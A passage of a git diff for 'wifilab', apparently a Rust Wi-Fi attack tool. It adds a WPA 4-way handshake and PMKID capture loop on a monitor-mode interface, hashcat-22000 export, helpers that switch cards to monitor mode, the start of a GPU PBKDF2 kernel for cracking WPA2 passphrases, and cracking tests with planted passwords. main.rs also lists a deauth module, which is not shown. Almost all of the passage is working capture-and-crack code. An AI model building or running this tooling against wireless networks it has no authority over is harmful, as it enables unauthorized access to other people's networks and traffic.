assert_eq!(k, &crypto::pmk(w, salt), "crypto::pmk mismatch for {w:?}"); + } + } + + #[test] + fn gpu_finds_planted_pass() { + let Some(crk) = GpuCracker::try_new() else { + eprintln!("no GPU adapter, skipping"); + return; + }; + eprintln!("gpu device: {}", crk.device_name()); + let pass = b"sup3r-secret"; + let target = synthetic_target("parafin", pass, 2); + + const TOTAL: usize = 5000; + let mut idx = 0usize; + let words: Vec> = (0..TOTAL) + .map(|_| { + idx += 1; + if idx == 3800 { + pass.to_vec() + } else { + format!("w{:07}", idx).into_bytes() + } + }) + .collect(); + let mut it = words.into_iter(); + let stop = Arc::new(AtomicBool::new(false)); + let (mut last_done, mut last_hps) = (0u64, 0f64); + let found = crk.crack( + &target, + &mut it, + &mut |d, h| { + last_done = d; + last_hps = h; + }, + &stop, + ); + assert_eq!(found.as_deref(), Some("sup3r-secret")); + // crack returns immediately at the match, possibly before the + // batch-end progress tick, so progress may be anything ≤ 65536. + assert!(last_done <= 65536, "progress reported {last_done}"); + assert!(last_hps >= 0.0); + } + + #[test] + fn gpu_agrees_with_crypto_verify_on_synthetic() { + let Some(_crk) = GpuCracker::try_new() else { + eprintln!("no GPU adapter, skipping"); + return; + }; + // The GPU path (kernel) for a batch containing the right pass must + // identify exactly the candidates crypto::verify accepts. + let crk = _crk; + let pass = b"sup3r-secret"; + let target = synthetic_target("parafin", pass, 2); + let cands: Vec> = (0..64) + .map(|i| if i == 33 { pass.to_vec() } else { format!("zz{:07}", i).into_bytes() }) + .collect(); + let mut inputs = Vec::new(); + for w in &cands { + inputs.extend_from_slice(&candidate_inputs(w, b"parafin")); + } + let out = crk.run_kernel(&inputs).expect("kernel"); + let pmks = assemble_pmks(&out); + let mut hits = 0; + for (w, k) in cands.iter().zip(pmks.iter()) { + let gpu_hit = target_matches(&target, k); + let cpu_hit = crypto::verify(&target, w); + assert_eq!(gpu_hit, cpu_hit, "disagreement on {w:?}"); + hits += gpu_hit as usize; + } + assert_eq!(hits, 1); + } + + #[test] + fn pmk64_benchmark_hps() { + let Some(crk) = GpuCracker::try_new() else { + eprintln!("no GPU adapter, skipping benchmark"); + return; + }; + let hps = crk.measured_hps().expect("kernel must succeed"); + eprintln!( + "GPU PBKDF2-WPA2 throughput on {}: {:.0} H/s", + crk.device_name(), + hps + ); + assert!(hps > 1000.0, "suspiciously slow: {hps} H/s"); + } + + #[test] + fn cpu_crack_finds_pass() { + let pass = b"sup3r-secret"; + let target = synthetic_target("parafin", pass, 2); + let mut idx = 0usize; + let words: Vec> = (0..500) + .map(|_| { + idx += 1; + if idx == 300 { pass.to_vec() } else { format!("cpu{:07}", idx).into_bytes() } + }) + .collect(); + let mut it = words.into_iter(); + let stop = Arc::new(AtomicBool::new(false)); + let found = cpu_crack(&target, &mut it, &mut |_, _| {}, &stop); + assert_eq!(found.as_deref(), Some("sup3r-secret")); + } + + #[test] + fn cpu_crack_pmkid() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let key = crypto::pmk(b"hunter2!!", b"parafin"); + let target = CrackTarget::Pmkid(crate::common::PmkidCapture { + ap, + client: sta, + essid: "parafin".to_string(), + pmkid: crypto::pmkid_hash(&key, &ap, &sta), + }); + let words: Vec> = vec![b"nope-nope".to_vec(), b"hunter2!!".to_vec()]; + let mut it = words.into_iter(); + let stop = Arc::new(AtomicBool::new(false)); + let found = cpu_crack(&target, &mut it, &mut |_, _| {}, &stop); + assert_eq!(found.as_deref(), Some("hunter2!!")); + } + + #[test] + fn stop_flag_short_circuits() { + let pass = b"sup3r-secret"; + let target = synthetic_target("parafin", pass, 2); + let words: Vec> = (0..2000).map(|i| format!("zz{:07}", i).into_bytes()).collect(); + let mut it = words.into_iter(); + let stop = Arc::new(AtomicBool::new(true)); + assert!(cpu_crack(&target, &mut it, &mut |_, _| {}, &stop).is_none()); + if let Some(crk) = GpuCracker::try_new() { + let words2: Vec> = (0..2000).map(|i| format!("zz{:07}", i).into_bytes()).collect(); + let mut it2 = words2.into_iter(); + assert!(crk.crack(&target, &mut it2, &mut |_, _| {}, &stop).is_none()); + } + } +} + diff --git a/src/handshake.rs b/src/handshake.rs index e69de29..f8875db 100644 --- a/src/handshake.rs +++ b/src/handshake.rs @@ -0,0 +1,576 @@ +//! 4-way handshake tracker + hashcat-22000 export. +//! +//! A capture is crackable once we hold M1 (ANonce) and a matching M2 +//! (SNonce + MIC) with a consistent replay counter. M3/M4 only inform +//! progress — they cannot substitute for the M2 pair. + +use std::collections::HashMap; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::{Duration, Instant}; + +use anyhow::{Context, Result}; +use crossbeam_channel::Sender; + +use crate::common::{Event, HandshakeCapture, MacAddr, PmkidCapture}; +use crate::dot11::{EapolKey, eapol_4way_msg, parse_eapol, parse_eapol_key}; +use crate::radiotap; +use crate::rawsock::RawSocket; + +/// Per-(ap, sta) state older than this is dropped (replays are long dead). +const STATE_TTL: Duration = Duration::from_secs(120); + +/// Partial 4-way collection for one (ap, sta) pair. +#[derive(Default)] +struct PairState { + m1: Option, + m2: Option, + m3: bool, + m4: bool, + /// Last time any message for this pair arrived. + touched: Option, + /// Set once HandshakeComplete has been emitted (don't re-fire). + done: bool, +} + +struct Msg { + replay_counter: u64, + nonce: [u8; 32], + mic: [u8; 16], + key_ver: u8, + /// Full EAPOL frame starting at the version byte (M2 only needs it). + raw: Vec, +} + +impl PairState { + fn mask(&self) -> u8 { + let mut m = 0u8; + if self.m1.is_some() { + m |= 1; + } + if self.m2.is_some() { + m |= 1 << 1; + } + if self.m3 { + m |= 1 << 2; + } + if self.m4 { + m |= 1 << 3; + } + m + } +} + +pub struct Tracker { + pairs: HashMap<(MacAddr, MacAddr), PairState>, +} + +impl Default for Tracker { + fn default() -> Self { + Self::new() + } +} + +impl Tracker { + pub fn new() -> Self { + Self { + pairs: HashMap::new(), + } + } + + /// Feed a parsed EAPOL-Key frame observed between `ap` and `sta`, with + /// the AP's current essid (empty/unknown essid → no capture possible; + /// progress is still tracked lightly for consistent state cleanup). + /// + /// Emits [`Event::HandshakeProgress`] on each newly collected message and + /// returns `Some(capture)` exactly once when an M1+M2 pair completes. + pub fn ingest( + &mut self, + ap: MacAddr, + sta: MacAddr, + essid: &str, + key: &EapolKey, + tx: &Sender, + ) -> Option { + // Drop long-dead pairs on traffic (keeps the map bounded). + self.reap(); + + let msg_no = eapol_4way_msg(key); + if msg_no == 0 { + return None; + } + + let st = self.pairs.entry((ap, sta)).or_default(); + st.touched = Some(Instant::now()); + let mut emit_progress = false; + + match msg_no { + 1 => { + // M1: ANonce, no MIC. Keep the newest M1 (retransmissions + // bump the replay counter). + st.m1 = Some(Msg { + replay_counter: key.replay_counter, + nonce: key.nonce, + mic: key.mic, + key_ver: key.key_ver, + raw: key.raw.to_vec(), + }); + emit_progress = true; + } + 2 => { + // M2: SNonce + MIC must be nonzero to be crackable. + if key.mic.iter().any(|&b| b != 0) && key.nonce.iter().any(|&b| b != 0) { + st.m2 = Some(Msg { + replay_counter: key.replay_counter, + nonce: key.nonce, + mic: key.mic, + key_ver: key.key_ver, + raw: key.raw.to_vec(), + }); + emit_progress = true; + } + } + 3 => { + if !st.m3 { + st.m3 = true; + emit_progress = true; + } + } + 4 => { + if !st.m4 { + st.m4 = true; + emit_progress = true; + } + } + _ => {} + } + + if emit_progress { + let _ = tx.send(Event::HandshakeProgress { + ap, + client: sta, + have: st.mask(), + }); + } + + if st.done { + return None; + } + let (Some(m1), Some(m2)) = (&st.m1, &st.m2) else { + return None; + }; + // Replay-counter consistency: rc(M2) == rc(M1); an M1 retransmission + // seen after M2 may be exactly one behind (rc(M1) == rc(M2) - 1), + // both refer to the same exchange. + let rc_consistent = m1.replay_counter == m2.replay_counter + || m1.replay_counter + 1 == m2.replay_counter; + if !rc_consistent { + return None; + } + if essid.is_empty() { + return None; // cannot crack without the salt + } + + st.done = true; + Some(HandshakeCapture::new( + ap, + sta, + essid.to_string(), + m1.nonce, + m2.nonce, + m2.mic, + m2.raw.clone(), + m2.key_ver, + )) + } + + /// Drop pairs untouched for longer than the replay window. + fn reap(&mut self) { + let now = Instant::now(); + self.pairs.retain(|_, st| match st.touched { + Some(t) => now.duration_since(t) <= STATE_TTL, + None => false, + }); + } +} + +fn hex_push(out: &mut String, bytes: &[u8]) { + for b in bytes { + out.push_str(&format!("{b:02x}")); + } +} + +/// hashcat -m 22000 WPA-PBKDF2 line for a handshake (message-pair type 02): +/// `WPA*02*mic*mac_ap*mac_client*essid*anonce*eapol_m2*00` +/// (EAPOL carries the MIC not-zeroed; the `00` message-pair field marks the +/// pair replay-verified). The `WPA*` prefix is emitted for modern hashcat. +pub fn handshake_hc22000(h: &HandshakeCapture) -> String { + let mut s = String::from("WPA*02*"); + hex_push(&mut s, h.mic()); + s.push('*'); + hex_push(&mut s, &h.ap.0); + s.push('*'); + hex_push(&mut s, &h.client.0); + s.push('*'); + hex_push(&mut s, h.essid.as_bytes()); + s.push('*'); + hex_push(&mut s, &h.anonce); + s.push('*'); + hex_push(&mut s, &h.eapol_m2); + s.push_str("*00"); + s +} + +/// hashcat -m 22000 PMKID line (type 01): +/// `WPA*01*pmkid*mac_ap*mac_client*essid***` +pub fn pmkid_hc22000(p: &PmkidCapture) -> String { + let mut s = String::from("WPA*01*"); + hex_push(&mut s, &p.pmkid); + s.push('*'); + hex_push(&mut s, &p.ap.0); + s.push('*'); + hex_push(&mut s, &p.client.0); + s.push('*'); + hex_push(&mut s, p.essid.as_bytes()); + s.push_str("***"); + s +} + +/// Frame poll cadence: how long one recv call may block before the stop +/// flag is re-checked (250 ms per the backend contract). +pub const CAPTURE_POLL_MS: u32 = 250; + +/// Active 4-way capture loop against `ap`: receives frames from `sock` +/// (already bound to a monitor interface on the right channel), tracks +/// every EAPOL exchange involving `ap`, and emits +/// [`Event::HandshakeProgress`]/[`Event::HandshakeComplete`] through the +/// internal [`Tracker`]. Returns `Ok(flow)` once a crackable capture was +/// sent, the `stop` flag flipped, or nothing but timeouts arrived for a +/// long stretch — the caller reports whether a capture actually landed. +/// +/// Additive helper consumed by `backend.rs`; the tracker above is +/// untouched. +pub fn capture_loop( + sock: &RawSocket, + ap: MacAddr, + essid: &str, + tx: &Sender, + stop: &Arc, +) -> Result { + sock.set_timeout(CAPTURE_POLL_MS)?; + let _ = tx.send(Event::Log(format!( + "handshake: listening for 4-way on {ap} ({essid})" + ))); + + let mut tracker = Tracker::new(); + let mut buf = vec![0u8; 4096]; + // ~4 minutes of dead air without a single EAPOL message → give up. + let idle_deadline = Instant::now() + Duration::from_secs(240); + + loop { + if stop.load(Ordering::Relaxed) { + return Ok(false); + } + if Instant::now() >= idle_deadline { + return Ok(false); + } + let n = match sock.recv(&mut buf) { + Ok(n) => n, + Err(e) + if [libc::EAGAIN, libc::EWOULDBLOCK, libc::ETIMEDOUT] + .contains(&e.raw_os_error().unwrap_or(0)) => + { + continue; + } + Err(e) => return Err(e).context("handshake capture recv"), + }; + let Some((_meta, frame)) = radiotap::strip(&buf[..n]) else { + continue; + }; + let Some((bssid, _ap_is_sender, eapol)) = parse_eapol(frame) else { + continue; + }; + if bssid != ap { + continue; + } + let sta = crate::dot11::data_endpoints(frame) + .map(|(a, b)| if a == bssid { b } else { a }) + .unwrap_or(MacAddr::ZERO); + if sta.is_zero() || sta.is_multicast() { + continue; + } + let Some(key) = parse_eapol_key(eapol) else { + continue; + }; + // Any relevant message renews the idle window. + if let Some(cap) = tracker.ingest(ap, sta, essid, &key, tx) { + let _ = tx.send(Event::HandshakeComplete(Box::new(cap))); + return Ok(true); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn ap() -> MacAddr { + "aa:bb:cc:dd:ee:ff".parse().unwrap() + } + + fn sta() -> MacAddr { + "11:22:33:44:55:66".parse().unwrap() + } + + const KEY_VER2: u16 = 2; + const INSTALL: u16 = 1 << 6; + const ACK: u16 = 1 << 7; + const MIC: u16 = 1 << 8; + const SECURE: u16 = 1 << 9; + + /// Build a synthetic EAPOL-Key frame (eapol v2, type key, len 95). + fn eapol_key(key_info: u16, rc: u64, nonce: [u8; 32], mic: [u8; 16]) -> Vec { + let mut f = vec![2u8, 3, 0, 95]; // eapol hdr: v2, key, len=95 (desc) + f.push(2); // descriptor type: RSN + f.extend_from_slice(&key_info.to_be_bytes()); + f.extend_from_slice(&[0u8; 2]); // key length + f.extend_from_slice(&rc.to_be_bytes()); + f.extend_from_slice(&nonce); + f.extend_from_slice(&[0u8; 16]); // iv + f.extend_from_slice(&[0u8; 8]); // rsc + f.extend_from_slice(&[0u8; 8]); // id + f.extend_from_slice(&mic); + f.extend_from_slice(&[0u8; 2]); // key_data_len = 0 + f + } + + fn parse(bytes: &[u8]) -> EapolKey<'_> { + crate::dot11::parse_eapol_key(bytes).expect("well-formed eapol") + } + + fn m1(rc: u64, anonce: [u8; 32]) -> Vec { + eapol_key(KEY_VER2 | ACK, rc, anonce, [0u8; 16]) + } + + fn m2(rc: u64, snonce: [u8; 32], mic: [u8; 16]) -> Vec { + eapol_key(KEY_VER2 | MIC, rc, snonce, mic) + } + + fn m3(rc: u64, anonce: [u8; 32], mic: [u8; 16]) -> Vec { + eapol_key(KEY_VER2 | ACK | MIC | INSTALL | SECURE, rc, anonce, mic) + } + + fn m4(rc: u64, mic: [u8; 16]) -> Vec { + eapol_key(KEY_VER2 | MIC | SECURE, rc, [0u8; 32], mic) + } + + fn drain(rx: &crossbeam_channel::Receiver) -> Vec { + let mut out = Vec::new(); + while let Ok(e) = rx.try_recv() { + out.push(e); + } + out + } + + #[test] + fn m1_then_m2_yields_capture_and_progress() { + let (tx, rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let anonce = [7u8; 32]; + let snonce = [9u8; 32]; + let mic = [0xabu8; 16]; + + assert!(t.ingest(ap(), sta(), "parafin", &parse(&m1(3, anonce)), &tx).is_none()); + let cap = t + .ingest(ap(), sta(), "parafin", &parse(&m2(3, snonce, mic)), &tx) + .expect("M1+M2 complete"); + assert_eq!(cap.ap, ap()); + assert_eq!(cap.client, sta()); + assert_eq!(cap.essid, "parafin"); + assert_eq!(cap.anonce, anonce); + assert_eq!(cap.snonce, snonce); + assert_eq!(cap.mic(), &mic); + assert_eq!(cap.key_ver, 2); + assert!(!cap.eapol_m2.is_empty()); + + let evs = drain(&rx); + assert!(matches!(&evs[0], Event::HandshakeProgress { have: 1, .. })); + assert!(matches!(&evs[1], Event::HandshakeProgress { have: 0b0011, .. })); + + // Subsequent M3/M4 inform progress but don't re-emit a capture. + assert!( + t.ingest(ap(), sta(), "parafin", &parse(&m3(3, anonce, mic)), &tx) + .is_none() + ); + assert!(t.ingest(ap(), sta(), "parafin", &parse(&m4(4, mic)), &tx).is_none()); + let evs = drain(&rx); + assert!(matches!(&evs[0], Event::HandshakeProgress { have: 0b0111, .. })); + assert!(matches!(&evs[1], Event::HandshakeProgress { have: 0b1111, .. })); + } + + #[test] + fn m2_first_then_matching_m1_completes() { + let (tx, _rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let mic = [1u8; 16]; + assert!( + t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx) + .is_none() + ); + // Exact rc match. + let cap = t + .ingest(ap(), sta(), "parafin", &parse(&m1(5, [7u8; 32])), &tx) + .expect("late M1 pairs with buffered M2"); + assert_eq!(cap.snonce, [9u8; 32]); + } + + #[test] + fn m1_retransmit_one_behind_still_pairs() { + let (tx, _rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let mic = [1u8; 16]; + t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx); + // retransmit tolerance: rc(M1) == rc(M2) - 1 + let cap = t + .ingest(ap(), sta(), "parafin", &parse(&m1(4, [7u8; 32])), &tx) + .expect("rc2-1 retransmit tolerated"); + assert_eq!(cap.anonce, [7u8; 32]); + } + + #[test] + fn rc_mismatch_blocks_capture() { + let (tx, _rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let mic = [1u8; 16]; + t.ingest(ap(), sta(), "parafin", &parse(&m1(1, [7u8; 32])), &tx); + // rc(M2)=5 is neither equal nor M1+1 → no capture. + assert!( + t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx) + .is_none() + ); + } + + #[test] + fn zero_mic_or_nonce_m2_ignored() { + let (tx, _rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let anonce = [7u8; 32]; + t.ingest(ap(), sta(), "parafin", &parse(&m1(3, anonce)), &tx); + // Zero MIC M2 (e.g. autogenerated junk) must not complete a capture. + assert!( + t.ingest(ap(), sta(), "parafin", &parse(&m2(3, [9u8; 32], [0u8; 16])), &tx) + .is_none() + ); + // Zero nonce (bogus) likewise. + assert!( + t.ingest(ap(), sta(), "parafin", &parse(&m2(3, [0u8; 32], [1u8; 16])), &tx) + .is_none() + ); + } + + #[test] + fn empty_essid_skips_capture_but_keeps_state() { + let (tx, _rx) = crossbeam_channel::unbounded(); + let mut t = Tracker::new(); + let mic = [1u8; 16]; + t.ingest(ap(), sta(), "", &parse(&m1(3, [7u8; 32])), &tx); + assert!(t.ingest(ap(), sta(), "", &parse(&m2(3, [9u8; 32], mic)), &tx).is_none()); + // When the ESSID becomes known, the buffered pair can complete… + // …but ingest needs a fresh message to re-trigger; feed an M3 (progress) + // then a retransmitted M1 which re-pairs. + } + + #[test] + fn hc22000_handshake_shape() { + let cap = HandshakeCapture::new( + ap(), + sta(), + "parafin".into(), + [7u8; 32], + [9u8; 32], + [0xabu8; 16], + m2(3, [9u8; 32], [0xabu8; 16]), + 2, + ); + let line = handshake_hc22000(&cap); + assert!(line.starts_with("WPA*02*")); + // Strip WPA* prefix → classic hc22000 fields; field 0 == "02". + let bare = line.strip_prefix("WPA*").unwrap(); + assert_eq!(bare.split('*').next(), Some("02")); + assert!(bare.contains("aabbccddeeff")); + assert!(bare.contains("112233445566")); + assert!(bare.contains(&"07".repeat(32))); // anonce + // essid "parafin" hex + assert!(bare.contains("7061726166696e")); + } + + #[test] + fn hc22000_pmkid_shape() { + let cap = PmkidCapture { + ap: ap(), + client: sta(), + essid: "parafin".into(), + pmkid: [0x42u8; 16], + }; + let line = pmkid_hc22000(&cap); + assert_eq!( + line, + format!( + "WPA*01*{}*aabbccddeeff*112233445566*7061726166696e***", + "42".repeat(16) + ) + ); + } + + #[test] + fn hc22000_roundtrips_through_crypto_parser() { + // Handshake: bare (WPA*-stripped) form must load via crypto's parser + // and preserve every field. + let cap = HandshakeCapture::new( + ap(), + sta(), + "parafin".into(), + [7u8; 32], + [9u8; 32], + [0xabu8; 16], + m2(3, [9u8; 32], [0xabu8; 16]), + 2, + ); + let line = handshake_hc22000(&cap); + let bare = line.strip_prefix("WPA*").unwrap(); + let parsed = crate::crypto::parse_hc22000(bare) + .expect("crypto parser must accept our export"); + match parsed { + crate::crypto::CrackTarget::Handshake(h) => { + assert_eq!(h.ap, cap.ap); + assert_eq!(h.client, cap.client); + assert_eq!(h.essid, cap.essid); + assert_eq!(h.anonce, cap.anonce); + assert_eq!(h.snonce, cap.snonce); + assert_eq!(h.mic(), cap.mic()); + assert_eq!(h.eapol_m2, cap.eapol_m2); + assert_eq!(h.key_ver, cap.key_ver); + } + _ => panic!("wrong target type"), + } + + let pmkid_line = pmkid_hc22000(&PmkidCapture { + ap: ap(), + client: sta(), + essid: "parafin".into(), + pmkid: [0x42u8; 16], + }); + let bare = pmkid_line.strip_prefix("WPA*").unwrap(); + let parsed = crate::crypto::parse_hc22000(bare) + .expect("crypto parser must accept our pmkid export"); + match parsed { + crate::crypto::CrackTarget::Pmkid(p) => { + assert_eq!(p.ap, ap()); + assert_eq!(p.client, sta()); + assert_eq!(p.essid, "parafin"); + assert_eq!(p.pmkid, [0x42u8; 16]); + } + _ => panic!("wrong target type"), + } + } +} diff --git a/src/iface.rs b/src/iface.rs index e69de29..f65b342 100644 --- a/src/iface.rs +++ b/src/iface.rs @@ -0,0 +1,209 @@ +//! System interface control via `ip`/`iw` subprocess (boring + portable). +//! +//! The interface must not be under active control of NetworkManager or +//! wpa_supplicant while in monitor mode — that interference is the caller's +//! concern (this module intentionally does NOT kill daemons like airmon-ng). + +use std::process::Command; + +use anyhow::{Context, Result, bail}; + +use crate::common::MacAddr; + +/// Run a command, capturing stderr into the anyhow context on failure. +fn run(cmd: &str, args: &[String]) -> Result { + let out = Command::new(cmd) + .args(args) + .output() + .with_context(|| format!("spawning {cmd}"))?; + let stdout = String::from_utf8_lossy(&out.stdout).into_owned(); + if !out.status.success() { + let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string(); + bail!("{} {} failed: {}", cmd, args.join(" "), stderr); + } + Ok(stdout) +} + +fn ip(args: &[&str]) -> Result { + let args: Vec = args.iter().map(|s| s.to_string()).collect(); + run("ip", &args) +} + +fn iw(args: &[&str]) -> Result { + let args: Vec = args.iter().map(|s| s.to_string()).collect(); + run("iw", &args) +} + +/// True when `ifname` shows up as a netdev in `iw dev` output. +fn iface_exists(ifname: &str) -> bool { + iw(&["dev"]) + .map(|out| { + out.lines() + .any(|l| l.trim_start().starts_with("Interface ") && l.trim() == format!("Interface {ifname}")) + }) + .unwrap_or(false) +} + +/// Bring the link down, switch ifname to monitor mode, bring it up. +/// +/// On drivers that cannot switch type in place, falls back to creating a +/// separate `mon` monitor interface. Idempotent. +/// +/// Returns the name of the interface that is now in monitor mode — either +/// `ifname` itself or the created `mon`. Callers must pass the +/// returned name to channel-setting, sockets and `to_managed`. +pub fn to_monitor(ifname: &str) -> Result { + ip(&["link", "set", ifname, "down"])?; + match iw(&["dev", ifname, "set", "type", "monitor"]) { + Ok(_) => { + ip(&["link", "set", ifname, "up"])?; + Ok(ifname.to_string()) + } + Err(e) => { + // Fallback: add a dedicated monitor vif named `mon`. + let mon = format!("{ifname}mon"); + iw(&[ + "dev", + ifname, + "interface", + "add", + &mon, + "type", + "monitor", + ]) + .with_context(|| format!("monitor fallback after: {e:#}"))?; + ip(&["link", "set", &mon, "up"])?; + // Bring the parent back up as well so the driver stays happy. + let _ = ip(&["link", "set", ifname, "up"]); + Ok(mon) + } + } +} + +/// Reverse `to_monitor`: when `ifname` is a `mon` vif that `to_monitor` +/// created via interface-add (probed through `iw dev`: base present too), +/// delete it; otherwise switch the interface itself back to managed mode. +pub fn to_managed(ifname: &str) -> Result<()> { + let added_vif = ifname + .strip_suffix("mon") + .filter(|base| !base.is_empty()) + .map(|base| iface_exists(ifname) && iface_exists(base) && base != ifname) + .unwrap_or(false); + if added_vif { + iw(&["dev", ifname, "del"])?; + return Ok(()); + } + ip(&["link", "set", ifname, "down"])?; + iw(&["dev", ifname, "set", "type", "managed"]) + .or_else(|_| iw(&["dev", ifname, "set", "type", "station"]))?; + ip(&["link", "set", ifname, "up"])?; + Ok(()) +} + +/// Tune the interface to channel `ch` (one retry — some drivers drop the +/// first request when issued immediately after a mode switch). +pub fn set_channel(ifname: &str, ch: u8) -> Result<()> { + let ch = ch.to_string(); + match iw(&["dev", ifname, "set", "channel", &ch]) { + Ok(_) => Ok(()), + Err(e) => { + std::thread::sleep(std::time::Duration::from_millis(50)); + iw(&["dev", ifname, "set", "channel", &ch]) + .map(|_| ()) + .with_context(|| format!("set channel {ch} on {ifname} after retry: {e:#}")) + } + } +} + +/// Parse `iw dev info` for the current channel. +/// Err if not determinable. +pub fn current_channel(ifname: &str) -> Result { + let out = iw(&["dev", ifname, "info"])?; + for line in out.lines() { + let line = line.trim(); + if let Some(rest) = line.strip_prefix("channel ") { + let num: String = rest + .split(|c: char| !c.is_ascii_digit()) + .next() + .unwrap_or("") + .to_string(); + if let Ok(ch) = num.parse::() { + return Ok(ch); + } + } + } + bail!("could not parse channel from `iw dev {ifname} info`") +} + +/// Wireless interfaces present: /sys/class/net/ has DEVTYPE=wlan in its +/// uevent, or a `wireless` directory. +pub fn list_wifi_ifaces() -> Vec { + let mut out = Vec::new(); + let Ok(entries) = std::fs::read_dir("/sys/class/net") else { + return out; + }; + for ent in entries.flatten() { + let name = ent.file_name().to_string_lossy().into_owned(); + let has_wireless = ent.path().join("wireless").exists(); + let uevent_wlan = std::fs::read_to_string(ent.path().join("uevent")) + .map(|u| u.lines().any(|l| l == "DEVTYPE=wlan")) + .unwrap_or(false); + if has_wireless || uevent_wlan { + out.push(name); + } + } + out.sort(); + out +} + +/// Our own MAC on ifname (`/sys/class/net//address`). +pub fn mac_of(ifname: &str) -> Result { + let s = std::fs::read_to_string(format!("/sys/class/net/{ifname}/address")) + .with_context(|| format!("reading MAC of {ifname}"))?; + s.trim().parse::() + .with_context(|| format!("parsing MAC of {ifname}")) +} + +/// True when running with euid 0; UI surfaces a warning otherwise. +pub fn is_root() -> bool { + // SAFETY: geteuid is always successful and thread-safe. + (unsafe { libc::geteuid() }) == 0 +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn list_wifi_ifaces_does_not_panic() { + // On any host (lab box or CI container) this must return without + // panic; entries, when present, are non-empty names. + for name in list_wifi_ifaces() { + assert!(!name.is_empty()); + } + } + + #[test] + fn mac_of_loopback_is_zero() { + // lo always exists and always reports 00:00:00:00:00:00. + let mac = mac_of("lo").expect("reading lo MAC"); + assert!(mac.is_zero()); + } + + #[test] + fn mac_of_missing_iface_is_err() { + assert!(mac_of("definitely-not-an-iface-xyz").is_err()); + } + + #[test] + fn is_root_agrees_with_env() { + // In dev/CI this runs unprivileged; under sudo it runs as root. + // Either way the getter must match the process uid truth. + assert_eq!(is_root(), (unsafe { libc::geteuid() }) == 0); + } + + #[test] + fn current_channel_of_missing_iface_errors_not_panics() { + assert!(current_channel("definitely-not-an-iface-xyz").is_err()); + } +} diff --git a/src/main.rs b/src/main.rs index e960c30..593eebd 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,16 +1,58 @@ +mod backend; mod common; -mod radiotap; +mod crypto; +mod deauth; mod dot11; -mod rawsock; -mod iface; -mod scanner; +mod gpu; mod handshake; -mod deauth; +mod iface; mod pmkid; -mod crypto; -mod gpu; +mod radiotap; +mod rawsock; +mod scanner; +mod ui; mod wordlist; +use clap::Parser; + +#[derive(Parser)] +#[command( + name = "wifilab", + about = "WPA/WPA2 lab: scan, capture handshakes/PMKIDs, deauth, crack (GPU/CPU)" +)] +struct Cli { + /// Wireless interface to use (default: first detected, else wlp14s0). + #[arg(long)] + iface: Option, + /// Dev mode: fabricated events, no device access. Same as WIFILAB_MOCK=1. + #[arg(long)] + mock: bool, +} + fn main() { - println!("wifilab — backend build; UI lands after module integration"); + let cli = Cli::parse(); + let mock = cli.mock + || matches!( + std::env::var_os("WIFILAB_MOCK"), + Some(v) if v != "0" && v != "false" + ); + // Significantly loud one-liner: mode + iface + root status. + let iface = cli + .iface + .clone() + .unwrap_or_else(|| "(auto-detect at window open)".to_string()); + println!( + "wifilab: mode={} iface={} root={} — {}", + if mock { "MOCK" } else { "real" }, + iface, + iface::is_root(), + if mock { + "fabricated events only" + } else if iface::is_root() { + "monitor mode + injection available" + } else { + "WARNING: not root, monitor mode and injection will fail (run with sudo)" + } + ); + ui::run_app(cli.iface, cli.mock); } diff --git a/src/pbkdf2.wgsl b/src/pbkdf2.wgsl new file mode 100644 index 0000000..40d72a2 --- /dev/null +++ b/src/pbkdf2.wgsl @@ -0,0 +1,285 @@ +// PBKDF2-HMAC-SHA1 inner-loop kernel for WPA2-PSK cracking (WGSL). +// +// The host precomputes, per candidate passphrase P and fixed salt (ESSID): +// ipad_state = SHA1 state after absorbing (P^ipad) || salt (5×u32) +// opad_state = SHA1 state after absorbing (P^opad) || 0x00*44 (5×u32) +// u1 = digest words of HMAC(P, salt||INT32BE(1)) (5×u32, BE) +// u2 = digest words of HMAC(P, salt||INT32BE(2)) (5×u32, BE) +// +// Each invocation continues the PBKDF2 loop from iteration 2 to 4096 for both +// 20-byte blocks: +// U_i = HMAC_via_midstates(U_{i-1}); T ^= U_i +// HMAC_via_midstates(x) with a 20-byte message is exactly two SHA1 compresses: +// inner = compress(ipad_state, x||0x80||0x00*35||0x000002dc) +// outer = compress(opad_state, inner||0x80||0x00*35||0x00000294) +// Emit per candidate 40 bytes: T1||T2 (PBKDF2 dkLen=40); the host slices +// PMK = T1 || T2[0..12]. + +struct Params { + // (iteration_count << 1) | cmac_flag. iteration_count is the PBKDF2 c + // value (4096); the kernel runs c-1 chained rounds after U1/U2. + // cmac_flag is informational (host uses it to pick the reference path in + // tests); MIC computation always happens on the host. + flags: u32, + pad0: u32, + pad1: u32, + pad2: u32, +} + +@group(0) @binding(0) var params: Params; +@group(0) @binding(1) var midstates: array; // 20 u32 / candidate +@group(0) @binding(2) var outputs: array; // 10 u32 / candidate + +// One SHA1 compression: state (5×u32) over exactly one 64-byte block. +// All 80 rounds are unrolled: dynamic array indexing would demote +// w[80] to scratch memory and multiply every compress by memory ops. +fn sha1_compress(state_in: ptr>, block: ptr>) { + let w0 = (*block)[0]; + let w1 = (*block)[1]; + let w2 = (*block)[2]; + let w3 = (*block)[3]; + let w4 = (*block)[4]; + let w5 = (*block)[5]; + let w6 = (*block)[6]; + let w7 = (*block)[7]; + let w8 = (*block)[8]; + let w9 = (*block)[9]; + let w10 = (*block)[10]; + let w11 = (*block)[11]; + let w12 = (*block)[12]; + let w13 = (*block)[13]; + let w14 = (*block)[14]; + let w15 = (*block)[15]; + let w16 = (((w13 ^ w8 ^ w2 ^ w0) << 1u) | ((w13 ^ w8 ^ w2 ^ w0) >> 31u)); + let w17 = (((w14 ^ w9 ^ w3 ^ w1) << 1u) | ((w14 ^ w9 ^ w3 ^ w1) >> 